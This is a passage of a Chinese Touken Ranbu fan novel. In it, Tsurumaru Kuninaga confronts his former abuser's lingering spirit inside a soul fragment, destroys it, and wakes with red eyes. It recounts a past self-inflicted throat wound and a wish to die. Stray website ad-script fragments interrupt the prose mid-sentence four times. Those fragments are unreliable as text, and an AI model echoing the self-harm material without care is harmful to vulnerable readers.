我眨了眨眼,下意识抬手去摸——因为有鹤丸国永在,我又在想别的事,所以完全没有看路,一时半会儿也辨认不出这里的具体位置,当然也不记得路上有的障碍物。 没有摸到,嗯,想来是鹤丸国永拉着我避开了才跟我说的。 “你啊,一想事情就不注意周边的环境,这样可不行。”鹤丸国永说,“万一摔倒,或者撞到什么上可怎么办?会受伤的。” 我真的不是瓷器啊,应该也不会这么简单就受伤……好吧,无法保证。 我低头认错:“嗯,对不起。”但是,“因为你在我身边,所以太过放心了……” 鹤丸国永摸了摸我的头。 充当背景板兼导航的侦探先生在此时开口:“小鹤,你的眼睛……有去医院看过吗?是近视还是……” “不知道。”我说,“不过我已经习惯了,所以没关系。” “近视?”似乎听到了很新颖的词汇,鹤丸国永若有所思地看着我,“要去看看吗?” 我:“……我觉得不会有用的,大概。” “说起来,我车上有一副眼镜,等会儿戴一下试试怎么样?”侦探先生放下手机,道,“正好我有个想给你的东西也送到了……” “好啊。”鹤丸国永非常不客气,“谢谢你啦。” 我也跟着道谢。 明明距离我和侦探先生第一次见面已经过了那么久,侦探先生又已经成为很不得了的侦探,他却还像那天一样,露出的笑容灿烂到有些蠢。 这样子很好,上次见面时、一开始那种夹杂着失意和不甘心的疲惫,并不适合他。 侦探先生的车上放了很多奇怪的东西,那副眼镜据说是某个委托人拜托他跑腿去配备的,结果拿到手的时候委托人近视度数更上一层楼用不了了……于是非常财大气粗地丢给了他。 ……为什么侦探先生还在做跑腿的活啊,对方真的给得很多吗。 我带着些许期待闭上眼,鹤丸国永捏着眼镜架,轻轻帮我戴上,再三确认这戴法和药研以及南海老师一般无二,才让我睁开眼睛。 “……” “怎么样?”侦探先生紧张地问,“有清晰一点吗?” 鹤丸国永看了几秒,重点错误:“小鹤你戴眼镜也很可爱嘛。” 我说不上有什么感觉,比起遗憾更多的还是意料之中……没有作用,这双眼睛已经被某人彻底弄坏了,已然回归至“刀剑乱舞”的我,没办法借助这种东西看到清晰的世界了。 “抱歉。”我把眼镜取下来,小心地没有碰到镜片,“似乎没有变化。” “不用道歉的。”侦探先生连忙摆手,“只是……唉,怎么会弄成这样?你的眼睛明明……”你的眼睛明明那么漂亮。 漂亮吗?我倒是很讨厌那双红瞳。 带着些许残念地把眼镜放回去,侦探先生又从车里找出了他想给我的东西。 “事件已经结束了,这本来也不是什么关键证物。”侦探先生将那个盒子放进我手中,说道,“我听说……嗯,我觉得这个是你会喜欢的物品,所以就要过来了。” 亏得我就是死者本人,不然这场面侦探先生该被骂到狗血淋头。 鹤丸国永轻轻捏了捏我的手指:“小鹤。” 他大概也感觉到了吧,这盒子里的物品是…… 我点了点头,对侦探先生道:“谢谢。” 这次侦探先生没再说“不用谢”之 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 类的话,只是挠了挠头,又笑了笑。 “你能开心就太好了。”侦探先生看了看天,道,“——糟糕,好像又要下雨了,你们快去办入住吧,我也不打扰你们了。” “今天能见到你真是太好了。”他说,“再见,小鹤。” 我没法对他说出“再见”。 “……侦探先生。”我抱着那个盒子,轻轻勾起了唇角,“你真的帮了我很多,是非常专业的侦探了啊。” 那个时候,把我的伤口放在心上的,只有你一个……而把我的死亡放在心上的,大概也只有你一个。 你成为了很厉害的侦探,却还是这样温柔的人,没有改变。 以后大概无法再见面了吧,这就是最后了,所以我只能对他说—— “非常感谢。” 祝心灵澄澈的你事事顺遂。 …… 选定的酒店堪称金碧辉煌,内饰和家具都价值不菲,然而我也好鹤丸国永也罢,都没有观赏的心情。 “小鹤,这里面果然是……”鹤丸国永看着被放到桌上的盒子,语气严肃。 “是碎片。”我说,“拿到手时我也吓了一跳。” “嗯嗯。”鹤丸国永点头附和,“很大一部分呢,比这些日子我收集的加起来还大,真是得来全不费功夫——等等,小鹤。” “?”准备打开盒子的手被挡住,我疑惑地抬头。 “这样大的碎片,还不知道里面包含的记忆和情绪是什么样的。”鹤丸国永说,“要小心触碰……不,干脆让我来吧。” “不用了。”我说,“之前不是联系不上姬君么?万一这个世界发生了什么我们不知道的规则更改,会很危险。” 此乃谎言。 ……也不算是,毕竟做出这种猜测的是鹤丸国永本人,我只是重复。 但我有不好的预感,虽然找回了这部分碎片应该是好事,可感觉不太对。 不能让鹤丸国永来碰,绝对不行——我有这样的直觉。 鹤丸国永本就是为了保护我才来到这边的世界,若现在被规则反噬实在得不偿失,而且之前的碎片回收都没有太大问题,他思量过后,便也没再阻止。 确认准备完毕,我缓缓吐出一口气,打开了盒子。 盒中之物承载着那样多的记忆和情感、藏匿了我大片灵魂,不出我所料,那是—— 一部手机。 接着,在我准备触碰碎片时,有出人意料的事发生了。 我看着亮起的屏幕上的色块,心中警铃大作,然而还未等我开口,有机械般冰冷的声音从机械器物的扬声器中传出。 ——“刀剑乱舞,开始了。” 我的意识顷刻间消失在黑暗中。 83.某人吗?去死吧 睁开眼,映入眼帘的是属于“刀剑乱舞”世界的景色。 天空和云朵的颜色,草地的颜色,绽放的樱花。 非常……非常美丽的景色,属于某个本丸。 这样清晰的世界,按理来说只会出现在梦里……但话说回来,这里在某种意义上来说,对我算不上“清晰”。 熟悉,又陌生。 是哪里呢?明明这样的景色这样的装潢,我并不是从未见过的,或许每个本丸之间并无太大差别,我对本丸各处的细枝末节也绝对称不上全然了解,可有什么地方不对,我的直觉告诉我,这里不是我该在的地方。 这不是我的家,不是【青】的本丸。 我想我应该离开,可站在这樱花树下许久,我也没找到哪怕离开半步的方法。 “鹤丸国永。” 啊。 陡然紧绷起来的精神和身体,不受我控制散发而出的杀意——我知道谁在那里。 我转过头去,好像第一次看清了那张惹人憎恶的脸。 …… “某人”。 我不知他的姓名,也不知他的代号,如今也不想知晓。 某人站在我面前,脸上是惯常的微笑,开口同我打招呼。 真是不可思议,我还能像这样“心平气和”地听他说话,他真该感谢这无法跨出脚步的限制,否则……我的本体姑且仍然拥有属于“鹤丸国永”的锋利。 “真凶啊。”某人抱怨道,“你知道我为了这样见到你,做了多少努力吗?” 我不想回答他,他却自顾自说了下去。 “我实在是很爱你啊。”某人说,“我想了那么多办法才把你留在我身边,好不容易才让你答应我不会再逃了——可是你知道吗?哪怕是这个年代了,人类的寿命也还是很短。” “我是医生哦医生,最清楚永生这种东西对人类有多遥不可及了,可是我这么爱你,才不会做出把你带到墓中去的事来呢——你讨厌那样对吧?”某人的嘴角勾勒出恶劣的弧度,“而且,万一又有人把你从我身边盗走该如何是好?” 我不想思考那种可能性,因为很恶心。 “事实上,有最简单的解决方法——你听说过殉葬吗?肯定听说过吧?和陪葬不同,殉葬需要把你杀掉,那样的话你就逃不掉了,不是吗?”某人咬牙切齿,“可是也不行,虽然有办法设下禁制让你没办法回归本灵,可是那些多管闲事的家伙先我一步诅咒了你。” “真是恩将仇报啊,对吧。”某人摆出寻求赞同的模样,“明明是因为我他们才得以显现,不过是一堆可替代的东西,分灵而已又不是本灵,拿来做点研究很奇怪吗?那么凶做什么?还想着要杀了我——如果没有我的话,他们连睁开眼睛拿起刀剑都不行,却做了这么多多余的事情,碎刀了还不安分……” 他顿了一顿,发出奇怪的笑声:“你生气了?” 我不该生气么? 你知道哪怕是分灵,每位刀剑男士也都是独立的个体吗? 你知道刀剑也有心吗,你知道他们也会痛吗,你知道他们会欢喜会悲伤会思念会爱也会恨吗? 明知如此,还是折断了他们吗? 你是医生吗?你在医治什么?你在拯救什么? “你这是在杀人。”我开口,语气冷到几乎结冰,“杀人偿命合乎情理。” 我知道我或许应当淡然处之,对于这种人来说,比起强烈的情绪反应,无动于衷才是最大的报复。 可是,不行。 我做不到。 我做不到忘却,我做不到淡然,无法原谅,哪怕知晓他在现实里已经死去再无法兴风作浪,也不会再有刀剑遭他毒手,我也做不到释然。 啊啊,我——我好恨他。 那是足以致我暗堕的恨意,哪怕他被挫骨扬灰灵魂消散于天地,也不足以解我心头之恨。 “哎呀,你这么说我倒是不介意啦。”某人摆了摆手,笑容灿烂到近乎腐烂,“所以我不是死了吗?而你还活着呢——多亏了那些被你杀掉的家伙,到现在也还没碎掉呢,好了好了,我会感谢他们的。” “……”很熟悉的话术,而后一句……我微微敛眸,隐约知道他在指什么。 我不能死去,那是在暗黑本丸没有被清缴之前的事了,那天之后的我,那种刻进灵魂的命令已经被“想要死去”的绝望冲刷消散。 那天割开自己的喉咙后,我本不该还活着。 可是……就像他说的,我被诅咒了。 被因我而死的他们,被想要救我的他们,下了“不死”的诅咒。 “言归正传——不要走神,我还没说完呢。”某人说,“总之因为他们给我添的麻烦,我只能另想办法,既然命和灵都不能永远陪着我,那就反过来好了。” “我来陪着你就好啦!”某人说,“做了好多次实验呢,把你弄碎了好多次,灵魂也有受损吧,可是都怪你不听话,就算意识都坏成那样了,还是那么拒绝我,连气息都不接纳,这让我怎么同你融合?没办法,只能把你的灵魂弄成大小不一的碎片再进行尝试了。” 原来我的灵魂碎成沙冰还有你的这份大功啊。 啊,一想到他竟然做了这种事,我就觉得好恶心……说不定这份无法消解的自我厌恶,也有察觉到他存在于我的灵魂碎片中的缘故。 “结果,还是只投进了这么点意识而已。”某人似乎非常遗憾,“太小的承接不下,太大的不允许我侵入——好在这也足够了,靠你们刀剑付丧神可做不到分离我。” “怎么样,很不错吧?”他张开双臂,向我介绍,“这个本丸,是你的牢笼哦!你不是一直很想看看吗?如何?满意吗?” 我只是冷冷地看着他,一言不发。 “你总是不跟我聊天呢。”某人说,“像死掉了一样——你不想和我一起活着,是这样吗?” 哦,看来你还有点自知之明。 “也好哦,没关系,我也没有一定要活着的那种执念——所以。”他猛然凑近,漆黑的瞳孔中满是病态的疯狂,“和我一起死吧,鹤丸国永。” “不是说好了,不会再从我身边逃走了吗?” “这样大的一块灵魂碎片,很重要对吧?我已经和你的碎片绑定,无法分割了!你不是一直很想死却找不到办法吗?之前不是还想杀了我吗?可以啊,跟我一起死——我是唯一留存下来的意识了,毁去就是真的死了,这里是灵魂的领域哦?这种死亡可不会再有谁把你挖出来、很完美对吧?” “你不是想要爱吗?我会永远爱你的哦!一生都爱着你用全部爱着你,我是这个世界上最爱你的人啊,我对你来说是特别的不是吗?鹤丸国永!!!” ……恶心的话语。 更恶心的是,他真心实意。 死亡吗,同归于尽的死亡……不用再挣扎于这充满苦痛的尘世彻底而无法更改的死亡,或许对曾经的我来说真的很诱人吧。 也说了,是“曾经”。 “……” “我不想被你爱。” 我后退一步,樱花树下无形的屏障他同样也无法跨越,“我不要你的爱。” 或许他的爱意货真价实,并且确实深重无比……可如果被爱时如此痛苦,还能算爱吗? ……我已经不是没有被爱过的白痴了。 我恨你。 “……” 某人的表情扭曲了一瞬,又故作无事地笑,“也就是说。你要和我一起活下去,对吧?” 那是不可能的。 某人的脸色彻底沉了下来:“……结果,你还是要去找他们。” 这是当然的吧。 “鹤丸国永。”他说,“你忘记我之前说的话了吗?” 【你知道为了唤醒你】 【有多少刀剑碎去了吗?】 【这是你的错,鹤丸。】 【他们都是被你杀掉的。】 忘不掉。 无法原谅……我也一样。 “他们一定很讨厌你,给你下了诅咒,怎么会不恨你。”某人说,“你自己也很清楚,他们拥有感情——但是他们会爱你吗?他们的爱是真实的吗?他们对你的感情,可不会像我一样纯粹。” “他们在爱的是‘鹤丸国永’……可你不是不再承认自己是‘鹤丸国永’了么?除了我,难道还有人会接纳你吗?” 是啊,我无法承认。 或许在刀身被硬生生折断的那一刻,“鹤丸国永”就已经死去了。 我知道可能是这样的,毕竟再显现的我,与被大众所承认的“鹤丸国永”全然不同,也没有那样厉害的能力,总是做笨蛋才会做的事,闹到现在,还让这个人渣借我的灵魂苟延残喘。 我知道我不会被喜欢,我知道被留下的可能性完全不存在,我知道我就像他说的那样,不会被爱。 ——所以那天,我才会割开自己的喉咙。 想要死掉,在被丢下之前,在被抛弃之前,在被厌恶之前。 我想要死掉。 ……没有丝毫长进,我还是想逃。 我总是在逃,从牢笼中逃走,从痛苦中逃走,从预想的悲哀未来到来前逃走。 可是。 可是 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,已经不用再逃了。 “无所谓。”我再次后退,逐渐远离了那道看不见的屏障,“他们和你不一样。” 即便我无能又懦弱,又蠢又胆小,他们也还是愿意爱我。 就算我已经面目全非,与“鹤丸国永”大相径庭,他们也不会抛弃我。 那份爱本就如云朵般柔软,却又用蜜糖包裹,但并不黏稠也不沉重,不会要我窒息。 一点都不痛。 “而且,我要纠正你。”在樱花树下站定,我微微仰头,看向绑在树枝上的无数愿笺。 〖……鶴さん〗 〖希望鹤先生天天开心〗 〖希望鹤先生永远幸福〗 〖希望我们能陪在鹤先生身边〗 〖希望鹤先生走向美好的未来〗 刹那间,所有的愿笺被风翻转,不同的笔迹写下的墨字全都恳求着一件事—— 【不要死】 “……我没有被诅咒。”我抬手轻轻捏住一张粉色的愿笺,皱起的眉微微松开,“不是诅咒,而是祝福。” 是祝福也是诅咒? 不,是诅咒一般的祝福。 哪怕我因此而陷入了无法理解的状态中,这也是出于对我的关心和爱送出的祝福。 “我讨厌你。”我放下了手,重新看向某人,“你让我觉得很恶心。” 针对你的杀意时至今日仍是我的本能反应,杀人偿命,你的彻底死亡是我必须做的任务。 同归于尽,或许曾是我渴求的归宿,但…… 还有人等我回去。 鹤丸,小光,伽罗,贞,姬君,还有本丸的大家,他们还在等我回去。 我已经有要回去的地方了,不能和你陷在这里。 某人的表情很诡异,似乎含着某种不可置信,他皱起眉来了,咬牙切齿:“难道你想神隐我?我的真名——” 好奇怪的想法,我为什么要神隐你? 我向他投以疑惑的目光。 我说过,我不知道你的名字,如今也不想知道。 诚然,神隐或许能做到将他拘禁到另外的空间去,在哪里我能做到的干涉会更多,哪怕他不会因为撕碎而被消灭,痛苦总能感知,可…… “你以为‘鹤丸国永’的神域是什么地方?”我说,“你配么?” 我不想再理他,转过身去,触碰这棵承载了愿望和祝福的万叶樱。 我不会死在这里,他却是该消失的,但就像他说的那样,他的这缕意识与我的这块碎片已经用人类才能用的方法绑定,我无法分离,只要我还需要这块碎片,他就不会彻底消亡。 ——既然这样,不要了就好了。 “什么?”某人说,“你疯了吗?” 你的表现看起来更像是疯了。 “我本来就不在意这种事。”我低声说,“对我来说,重要的不是这个。” 重要的是大家的祝福,而不是我。 “你不是自认为很了解我的么?”我依然没有回头,额头轻轻抵在万叶樱的树干上,“我对自己从来没有在意过,灵魂碎片而已,不要了就不要了。” 若不是之前检查出来灵魂缺失,而【青】又非常在意,我连这边的世界都不会再来,虽说有点恶心,但你在这块碎片中待上十年万年也跟我没关系。 比起你,我还有别的事要做。 我闭上眼,按照某种感觉调动体内的神气——温暖干净的灵力从万叶樱中传来,是予我祝福的大家给我的回应。 “谢谢你们一直陪着我。”我轻声说,“最喜欢大家了。” 某个最讨厌的人在屏障之外发出难以形容的嚎叫,我连眉都不想为他皱一下,只是依照大家的意思,用这份灵力做支撑,准备把这块灵魂碎片毁灭。 “你、怎么可能——鹤丸国永——这不应该、这不应该!”某人说,“开什么玩笑,我不会接受这种结局——该死、我要出去!” 我调动灵力,做了个深呼吸。 天空开裂了。 云朵开裂了。 大地开裂了。 这个所谓的牢笼,这个曾经我想要到达的世界寸寸消失,只剩下我拥抱着我的樱花树—— 和终于捏出咒法,达成分离的某人。 啊。 我和满天樱花一起转身,被灵力冲刷后显现出的红色瞳孔映出某人扭曲的身影。 “白痴。” 我笑起来,是属于‘鹤丸国永’的笑容。 ——“下地狱去吧。” 刀剑付丧神无法分离,由你这个人类却可以,我猜对了呢。 84.醒来吗?醒来了 醒来的时候,眼前一片漆黑。 ——不,至少余光瞥见的角落里,仍然有微弱的灯光。 ……要是被鹤丸知道我又把他认成灯的话,一定会嘲笑我吧。 唔,嘲笑就嘲笑吧,反正他在我眼中本来就一直都和灯那样的事物很接近,比起蜡烛来,是不会过于炙热造成烫伤、却向来足够明亮的光。 所以,就这样放任他一动不动地躺在那可不行,我得看看他的情况…… ……啊,动不了。 再怎么预料之中,我的灵魂依旧在短短数秒内崩毁了一部分,与破碎遗失不同,这意味着消殒与毁灭……永远失去了那一部分,这对我造成了些许影响。 【青】和鹤丸从一开始就很重视我灵魂缺失的问题,但我完全不在意……首先我就没法在意自己的事,而且我灵魂缺失也不是一天两天,左右只是记忆上有些模糊,对行动没有影响,不会耽误工作或者任务,我就完全没有任何想法。 但这不代表灵魂毁灭也一样。 有点对不起本灵啊,不过我的灵对于本灵来说也就是微不足道的一点,这之上再缺掉一点的话,对本灵或许没什么影响? ……嗯,不提这小小的后遗症,至少那个人渣这下是真的死透了,这点我还挺开心的。 他的那缕意识虽然依附在我的灵魂碎片上,也知道了大家对我的祝福,却并不知道我逃走的脚步已经远到踏足另一个世界……这个世界的壁垒可是个非常严厉的家伙,它只允许我、允许“我这振【鹤丸国永】”穿过,若非某人与这灵魂碎片融合,他甚至会在我成为“■■”的瞬间就消失掉吧。 现在也没差,与我的碎片分离之后他就不再等同于我的一部分,当然会被世界壁垒检测到,只是一点意识而已,哪怕还能说些恶心又讨人厌的话,他也只是一点意识,世界意识碾碎他比碾碎一只蚂蚁都要简单。 虽然我很想弑主——把他用“主人”来称呼也真是叫人忍不住皱眉——但借刀杀人也不坏。 大家好不容易帮我洗去的暗堕,可不能因为这种原因又冒出头来…… 啊,对了。 我费力地试着翻了个身——不知为何自己是半侧趴在床上的真是太好了,至少要用手肘将身体撑起来的时候很方便,然而只是支着身子坐起来这种简单的动作,也弄得我头晕眼花,撑着床铺的手臂都在颤抖。 搞什么,我是什么新生的小鹿吗。 这状态可比之前失血过多那次糟糕几倍,我由衷希望这后遗症不要持续太久,否则鹤丸他们恐怕会把我的等级从瓷瓶变成玻璃……或者泡沫什么的,总之一碰就碎,甚至用不着摔。 好在,没有痛感。 不管原来应不应该有,但既然我没有感觉到,那就说明疼痛尚在“可忍受”的阈值内,也就是对我而言的“无所谓”。 我做了个深呼吸,尝试往鹤丸所在的地方靠近。 “……鹤丸。”我伸出手,试探着轻轻推了推他的肩,“鹤丸,醒醒。” 没有反应。 怎么办,触碰之前都在假设我会受到的影响,却默认鹤丸再怎么都不会有太深的感知,因为碎片内容的特殊性,我也无法确定究竟是什么原因造成了他的昏迷。 大家的愿望和祝福是绝对不会伤害到他的,那个人渣则根本没这个能力,所以……难道是我着手破坏自己的灵魂碎片时,不小心把他卷了进去? 不会吧,不要啊,我再怎么讨厌自己都没有尝试过从灵魂层面下手,毕竟说到底我的灵魂也是本灵的一部分,不全属于我——啊啊不对,鹤丸怎么样了?又因为我的愚蠢行径害得他受伤了吗?这可不妙,得赶紧看看他的灵魂有没有缺失,有的话立刻抽我的填上应该—— “小鹤。” 我吓了一跳。 鹤丸国永在我大脑一片混乱时握住了我的手,明明他的体温也不是很高,却如此温暖。 “我没事哦。”鹤丸国永不像我一般难以动作,他直起身来,把我按进了他怀里,“我没事的,你别害怕。” 害怕……吗。 我闭了闭眼,好不容易才在他的心跳声中把我自己的心脏安抚好,扯着他衣服的手还在抖,冷到彻骨的感觉却已经消散了。 该是道歉的时候了,可是…… “太好了……”我的唇舌似乎不听我使唤,分明出口的声音那样不坚定,又还是说着些混乱的话,“我还以为你、我以为……我……” 鹤丸国永说:“你没事真的太好了。” 他怎么抢我台词呢? “你吓到我了,小鹤。”鹤丸国永轻轻揉了揉我的头发,支撑着我的身躯缓慢起伏,似是做了一个深呼吸,“这种惊吓可不有趣啊。” 这句台词我也要原话奉还。 鹤丸看我终于冷静下来,便同我说了他这段时间的事。 在打开装着手机的盒子后,他莫名其妙恍惚了几秒,等回过神时,我的身体已经往后倒去了。 他本就同我站得很近,遇到这种情况 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 也能及时将我扶住抱起——只是触碰到灵魂碎片就这种反应还是第一次,现在又联系不上【青】,鹤丸国永压下心中慌乱,先将我抱到了床上,开始检查我的情况。 碎片中既没有感情也没有记忆,我与他的共感此刻仿佛不复存在,这反而让他不安起来。 ……真是笨,明明不痛不难过的话,应该是好事才对。 他检查过我的身体,确认即便受伤了也没有外在表现,看起来就像是睡着了一样……先将情况简短通过终端汇报给了【青】,鹤丸国永沉吟片刻,就转身往桌边走。 既然我昏迷的原因百分之九十九点九都是因为这块碎片,他要做的自然也是通过这个来解决问题……鹤丸国永并未贸然触碰,要是两个人一起晕了可就糟了,能醒过来还好说,醒不过来的话等在本丸的【青】怕不是要疯。 只是观察。 同为“鹤丸国永”,他能够做到与碎片共鸣,也能在某种程度上观测灵魂碎片的情况……至少灵力和神气都很稳定,也没有被污染的迹象,这让他稍微安心了一点。 那之后……他说他一直等着【青】的回应,一边观测碎片一边看着我,结果就在我醒来前的那一会儿,灵魂碎片突然有了裂纹。 “除了惊就是恐啊。”鹤丸国永吐槽道,“我的魂都快被你吓出来了。” 没事,到时候我也会陪你去找的。 看到裂纹之后,鹤丸国永还没能做出什么行动,许久未有波动的感知联系突然炸了一下,他头脑一重,下意识想到我身边来,却在那之前就倒了下去。 ……所以他才会趴在床边啊,也不知道有没有撞到哪里。 “抱歉。”我心虚地低头,知道这大概是我自毁碎片的锅,“我没想到你那边也会有感觉……” 这不是过去,而是“现在”发生的事,而且崩毁的是我自己的碎片,我还以为他不会受影响。 “哈……”鹤丸国永叹了口气,“比起这个,你还是同我解释一下你做什么了吧。” “又把自己弄得这么狼狈……”他轻轻屈起指节敲了敲我的额头,无奈道,“没有合理的解释,我可不接受。” 我:“……为什么是我做了什么?”而不问灵魂碎片到底包含了什么。 鹤丸国永挑了挑眉:“如果你没做什么的话,那块碎片总不能是自己想不开要裂的吧。” 我默默移开了目光。 ……虽然但是,用自身的毁坏逼那人去死这种事,听起来好像会被骂啊。 85.红色吗?讨厌 哪怕无比心虚,我也还是把发生的事情同鹤丸一五一十地说了。 ……隐瞒也好骗人也罢,都没什么意义,实话实说的话,至少他应该不会特别生气。 事实上,他也没有生气。 鹤丸国永已经把房间的灯打开了,他一边听着我解释,一边检查我身上是否有伤口,又用干净的手帕给我擦了擦额头的冷汗。 “居然还有这种事。”鹤丸国永微微皱着眉,把我冰凉的手揣进怀里,“真是失算,是相当令人不愉快的惊吓啊。” 我赞同,就算是我,见到那个人渣也只会觉得很恶心。 “也并不全是坏事。”我说,“虽然坏了一点,但大体还完整……这次的任务完成得很好。” “是这样。”鹤丸国永点头赞同,又笑起来,“我也很高兴哦。” “……抱歉。”我手指微蜷,虽然鹤丸只字未提自己是否因与我的联系而感觉到痛苦,可他也确实失去了意识,“害你经历了这种共感。” “这也是没办法的事嘛,而且也不是什么大问题。”鹤丸国永随意地晃了晃身子,还有闲心同我开玩笑,“至少这里的床挺软的,地上还铺了地毯,我完全没有摔到哦。” 那样的话就太好了。 “姬君还是没有回信吗?”我眨了眨眼,忍不住往放着盒子的地方偏了偏头,“也不知道耳机什么时候可以用……” “似乎是没有呢。”鹤丸国永这样说着,又打开终端看了一眼,“你刚才睡着的时候我也试过,可是除了杂音之外什么都没有……不过时空转换器还是正常运作着的样子,问题不大。” “这样啊。”我的终端权限对鹤丸国永一向都是开放的,储物空间自然也一样,他能从我这里拿东西属于是非常简单,“鹤丸,那个……手机,可以拿给我一下吗?” “嗯?”鹤丸国永说,“可以是可以……你会用吗?” “比起终端来说要简单哦。”我说,“而且,我只是有点好奇,并不准备用来做什么。” 大概也做不了什么,虽然我有SIM卡,但在这里并没有能联络的对象,而属于这个世界的科技产品想来也无法应接那边的信号。 说好奇并不是在敷衍鹤丸国永,我是真的有在意的事……比如方才莫名自己亮起的屏幕和启动的游戏界面,以及大概没有被鹤丸注意到了那句“刀剑乱舞”。 虽然知道应该是灵魂碎片的作用,可原理是什么呢?而在大家的祝福和些许意识被我收回的现在,这个手机还会有大家存在吗? 抱着这样的疑问,我手心向上,准备接过鹤丸国永递过来的手机。 然而他并没有给我。 “这个怎么开启?”鹤丸国永同我凑在一起,两指捏着手机的一角转来转去,“好像没有注入灵力的地方。” 审神者用和付丧神用的终端都是先注入灵力或神气绑定后解锁的,现世普通人用的不太清楚,但大概也很高科技……与之相比,板砖一样的手机反而让人摸不准用法。 “这里……”我伸手想去摁侧边的开机键,却被鹤丸国永挡住动作,“鹤丸?” “给我玩玩嘛。”鹤丸国永笑了笑,道,“是按右边这个吗?” “嗯。”我听话地收手,按照记忆中的位置给出指令,“好像没有亮啊,长按试试?” 明明刚才还亮起过游戏界面,现在却好像没有开过机一样黑屏,鹤丸国永按我的话摁住按钮几秒,才听到手机的轻微震动。 “哦!亮了。”鹤丸国永仿佛看到新奇玩具的小孩子般举起了手机,却是拿得离我更远了,“好像和终端差不多嘛。” 就功能上来说的话是这样。 我的身子往他那边倾斜,几乎扑倒在他身上了,就这样试图通过屏幕色块分辨界面:“别拿那么远……这个不会爆炸的。” 虽然是很老的型号了,大概还被我的灵魂碎片寄宿过,但爆炸的风险还是很小的……不用当成危险物品那样不让我碰啊。 “是嘛?”鹤丸国永闻言收回了手,却依然没有要给我操作的意思,“你想玩什么?” 嗯……我有点不确定要不要让他来看,虽然世界对他和【青】的屏蔽机制似乎十分严密,可我身边总是不缺意外。 “怎么了?”鹤丸国永看着我,十分善解人意地说,“如果里面有什么不方便被我看到的内容,我可以闭上眼睛哦……但是那样你可以正常操作吗?” 可以的,因为已经很熟悉了,不需要他来告诉我具体画面和文字……别说我还能看到色块,我就是完全瞎了也能打开游戏。 “嗯,拜托了,没有不信任你的意思,只是……”我犹豫道,“有点危险,对你来说。” 鹤丸国永:“就像世界壁垒一样?” 对我来说只是一条线的世界壁垒,却是不精心伪装就无法跨越的沟壑……兴许差不多吧。 我:“大概是的。” 鹤丸国永于是当真闭上眼了,又再次向我确认:“先说好,对你来说没有危险也不会让你难受,对吧?” 我想点头,想起来他现在也看不到了,于是又“嗯”了一声。 鹤丸国永于是听从我的指示,点开了“刀剑乱舞”。 没有声音,因为我提前让鹤丸国永调成了静音,界面颜色倒确实是熟悉的样子,可是…… 无论怎样点击“开始游戏”,都没有反应。 “小鹤?”察觉到我的沉默,鹤丸国永开口询问,“怎么了吗?” “唔。”我想凑近去看屏幕上的字,鹤丸国永却又拿远了些,让我有些无奈,“……你能帮我看看上面有什么字吗?” 蒙住四周只看中间的那种。 “好呀。”鹤丸国永双手交叉,食指与拇指刚好圈出中间的范围,“我看看哦……” “‘账号不存在’——这样的。” 啊。 我的大脑空白了一瞬间,生出一些淡淡的死意…… 骗你的,虽然确实有吓到,但我到底并不是真正的“玩家”……游戏里的本丸只是祝福我的大家联络我的媒介,虽说做日课练级打活动也花了我很多精力,但对我来说比起私有物更接近于止痛剂,是药品。 在如今知晓大家已经附于碎片中同我在一起之后,失去在这个世界上真的只是游戏的账号并不会让我如何难过……因为,我当真已经没有在痛了。 而且,打不开也好……即便隐隐有种预感知道手机哪怕带回本丸也会变成真正的板砖,但万一呢?也不知道世界的屏蔽在那边还会不会起效,直接进不去界面也算避免了意外。 听见我说就这样了之后,鹤丸国永并未对于“游戏”本身提出疑问,只是在听我的话把界面关闭、删除了图标之后,研究起了手机。 我没有存图换壁纸的习惯,其他倒是可以随便他看……不过也实在没什么好看的,这手机里连个通讯录联系人都没有,更别说其他信息了。 哦,欠费信息和诈骗短信除外。 鹤丸国永大概也是这样认为的,划了一会儿屏幕便回到了主界面,目光被相机图标吸引。 鹤丸国永:“这个和陆奥守拿着的那个一样吗?” “和终端的差不多, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不会有相片出来的。”我说着,依照他的意思靠到镜头前,“而且也没有那个清晰……” 没有那个清晰,但是,至少能映像。 于是在调得过大的前置摄像界面中,我看清了自己的脸。 ——和红色的瞳孔。 “……啊。” 我僵硬地转过头去,鹤丸国永却笑起来。 “我还在想,我不说的话你要多久才会跟我提呢。”鹤丸国永按了拍照键记录下我天塌了一样的表情,伸手摸了摸我的头,“看来你自己也不知道啊,错怪你了。” 当然不会知道吧!世界又不是随虹膜颜色变化的,我本来就看不清楚东西,这里又没有镜子……鹤丸国永不会以为我是想隐瞒什么不好的事才不说的吧,我好冤枉…… 鹤丸国永摸小动物一般揉着我的脑袋,语气温和而平静:“不过既然你是这种反应的话,应该眼睛没有难受,还算不错。” 没想到他的重点在这里,我忍住想把自己眼睛抠出来的冲动,低下头去:“你有什么想问的吗。” 不必顾虑我,都到现在这个份上了,很多事想必他都猜了个大概,想问什么就问好了,如果我知道的话一定会说的。 “嗯……”鹤丸国永想了想,捧着我的脸看着我的眼睛,“眼睛的颜色,哪边才是‘本来’的?” 究竟一直以来的金色是伪装,还是如今的红色仅为意外。 若是今天之前,我恐怕还会有所疑虑,但既然知晓了一切转变的原因,这个问题也可以明确回答了:“你的颜色。” “嗯,我想也是——虽然红色也很漂亮,但果然还是金色更适合鹤对吧?”鹤丸国永冲我眨眨眼睛,道,“变成这样的原因,有什么头绪吗?” “灵魂崩毁的后遗症……之类的吗。”我郁闷地说,“我不太清楚。” 鹤丸国永:“这样啊……那还能变回来吗?” 我不知道。 鹤丸国永似乎也觉得有些棘手,却道:“不知道吗……嗯,说不定等等看就好了呢?我觉得比起刚醒的时候,现在的颜色也有变化的。” “真的吗?”我仿佛抓住了救命稻草,“有变化?” “有的,虽然比不上你,但我的色感也还算不错哦。”鹤丸国永安慰我说,“我觉得不是光线的原因,再等一会儿看看怎么样?应该没事的。” 你也没有把握啊…… “小鹤。”鹤丸国永说,“你好像很沮丧啊,在想什么?” “……”我低声回答,“如果变不回去了怎么办?” 鹤丸国永:“什么?” “如果变不回去了怎么办?”我说,“我讨厌这双眼睛。” 这双染着血色的眼睛,和曾经墨色的头发,我都讨厌。 